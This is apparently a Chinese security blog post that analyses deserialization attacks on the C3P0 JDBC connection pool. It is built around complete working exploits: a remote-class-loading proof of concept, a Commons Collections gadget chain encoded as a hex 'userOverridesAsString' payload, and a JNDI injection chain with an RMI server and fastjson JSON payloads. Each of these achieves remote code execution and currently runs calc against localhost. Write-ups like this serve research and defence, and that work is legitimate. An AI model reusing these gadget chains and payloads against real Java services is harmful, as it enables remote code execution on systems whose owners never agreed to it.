C3P0

前言

C3P0是JDBC的一个连接池组件,类似的连接池组件还有Druid、DBCP

在执行JDBC的CRUD操作时,若每次操作都建立一次新的数据库连接到销毁,开销就太大了。因此通过连接池(Connection Pool)复用创建好的连接。

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

Attack

URLClassLoader - http base

PoolBackedDataSourceBase#writeObject

首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。

image-20240804232020746

image-20240804232139501

以上可见,调用connectionPoolDataSource属性的getReference(),返回后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。

image-20240804232326973

PoolBackedDataSourceBase#readObject

image-20240804232650387

若传进来的序列化对象是上文的ReferenceSerialized,这里调用其getObject方法:

image-20240804232803817

跟进ReferenceableUtils.referenceToObject()

image-20240804233055575

ref,也就是这里的var0,是之前序列化时候可控的,可以通过URLClassLoader加载并实例化远程类。

POC

要让connectionPoolDataSource这个属性是个实现ConnectionPoolDataSourceReferenceable(后面要调用它的getReference()再拿去封装到ReferenceSerialized)这两个接口的类。重写getReference()方法,让其factoryLoaction指向恶意类所在服务器地址。

1
2
3
4
5
6
7
public static class evil implements ConnectionPoolDataSource, Referenceable{

public Reference getReference() throws NamingException {
return new Reference("calc", "calc", "http://127.0.0.1:9999/");
}
// override
}

作为PoolBackedDataSourceBase(这个类本身有实现Serializable接口)的connectionPoolDataSource属性,由于evil类没有实现Serializable接口,无法反序列化。

在调用writeObject时,调用evilgetReference()方法,返回值封装进可序列化的ReferenceSerialized对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field cp = clazz.getDeclaredField("connectionPoolDataSource");
cp.setAccessible(true);
cp.set(base, new evil());

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(base);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();

}

public static class evil implements ConnectionPoolDataSource, Referenceable{

public Reference getReference() throws NamingException {
return new Reference("calc", "calc", "http://127.0.0.1:9999/");
}

public PooledConnection getPooledConnection() throws SQLException {
return null;
}

public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

public PrintWriter getLogWriter() throws SQLException {
return null;
}

public void setLogWriter(PrintWriter out) throws SQLException {

}

public void setLoginTimeout(int seconds) throws SQLException {

}

public int getLoginTimeout() throws SQLException {
return 0;
}

public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}

image-20240804235535113

Summary

PoolBackedDataSource在序列化时可以传入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。

hex base 不出网利用

WrapperConnectionPoolDataSourceBase#setuserOverridesAsString

看到set方法应该立刻联想到fastjson

1
WrapperConnectionPoolDataSourceBase是抽象类,关注其子类WrapperConnectionPoolDataSource

setUserOverridesAsString最后走到C3P0ImplUtils.parseUserOverridesAsString(this.getUserOverridesAsString())

image-20240805000141646

首先对userOverridesAsString进行截取,转为byte[],再调用SerializableUtils.fromByteArray(serBytes),进行反序列化操作:

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class getPayLoad {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");

lazyMap.remove("test");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();

String ser = "HexAsciiSerializedMap:" + bytesToHexString(baos.toByteArray()) + "p";
WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
// Thread.sleep(1000*3);
exp.setUserOverridesAsString(ser);
}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}

public static String bytesToHexString(byte[] bArray) {
int length = bArray.length;
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

配合fastjson使用:

{ “a”: { “@type”: “java.lang.Class”, “val”: “com.mchange.v2.c3p0.WrapperConnectionPoolDataSource” }, “b”: { “@type”: “com.mchange.v2.c3p0.WrapperConnectionPoolDataSource”, “userOverridesAsString”: “HexAsciiSerializedMap:hexEXP;” } }

JNDI

没错,还能配JNDI。但有版本限制。

也是在fastjson或jackson环境下使用,jdk8u191以下(支持LDAP-JNDI注入)

  • JndiRefConnectionPoolDataSource#setJndiName最后会调用JndiRefDataSourceBase#setJndiName,设置JndiRefDataSourceBase类的jndiName属性。
  • JndiRefConnectionPoolDataSource#setLoginTimeout =>WrapperConnectionPoolDataSource#setLoginTimeout => JndiRefForwardingDataSource#setLoginTimeout => inner() => dereference()

JndiRefForwardingDataSource继承自JndiRefDataSourceBase,可获取其jndiName

image-20240805000416111

POC

1
2
3
4
5
public static void main(String[] args) throws Exception {
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
exp.setJndiName("rmi://127.0.0.1:1099/evil");
exp.setLoginTimeout(1);
}

RMIServer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws Exception {
String url = "http://127.0.0.1:8080/";
Registry r = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("calc", "calc", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
r.bind("evil",referenceWrapper);
}
}

calc.class挂web服务,python -m http.server 8080

image-20240805000514530

配合fastjson使用

{ “a”:{ “@type”:”java.lang.Class”, “val”:”com.mchange.v2.c3p0.JndiRefForwardingDataSource” }, “b”:{ “@type”:”com.mchange.v2.c3p0.JndiRefForwardingDataSource”, “jndiName”:”rmi://127.0.0.1:1099/evil”, “loginTimeout”:0 } }

在fastjson,jackson等环境下,调用JndiRefConnectionPoolDataSource类的jndiname,logintimeout属性setter方法,向jndiname传入恶意RMI服务器地址,然后调用logintimeout的setter方法使受害机去lookup设置好的jndiname中的恶意地址,造成JNDI注入。

参考:

C3P0 | Java (gitbook.io)


C3P0
https://eddiemurphy89.github.io/2024/08/05/C3P0/
作者
EddieMurphy
发布于
2024年8月5日
许可协议